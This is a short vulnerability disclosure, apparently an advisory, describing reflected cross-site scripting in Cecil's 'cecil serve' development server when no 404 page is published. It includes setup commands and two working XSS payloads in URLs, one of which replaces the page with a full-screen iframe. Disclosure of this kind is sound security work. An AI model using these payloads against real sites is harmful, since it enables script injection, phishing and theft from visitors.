Description

When running a Cecil site by cecil serve without a 404.html, Reflected Cross-Site Scripting (XSS) is possible via the URI path.

Proof of Concept

Run the following commands:

mkdir cecil-404-xss-poc
cd cecil-404-xss-poc
curl -L https://cecil.app/cecil.phar -o cecil
chmod +x cecil
./cecil new:site -n
echo "defaultpages: { 404: { published: false } }" >> config.yml
./cecil serve

Then visit http://localhost:8000/"><script>alert('xss')</script> to see a simple alert.

Or visit http://localhost:8000/"><script>setTimeout(()=>{window.stop();document.open();document.write('<iframe src="https://example.com" style="position:fixed;top:0;left:0;width:100vw;height:100vh"></iframe>');document.close()},1)</script> to see the page totally replaced by an <iframe>. (Here window.stop() is used to abort the <meta http-equiv="refresh">.)

Impact

Unauthenticated remote attackers can inject arbitrary JavaScript into a Cecil site served by cecil serve by fooling a victim into visiting a malicious link.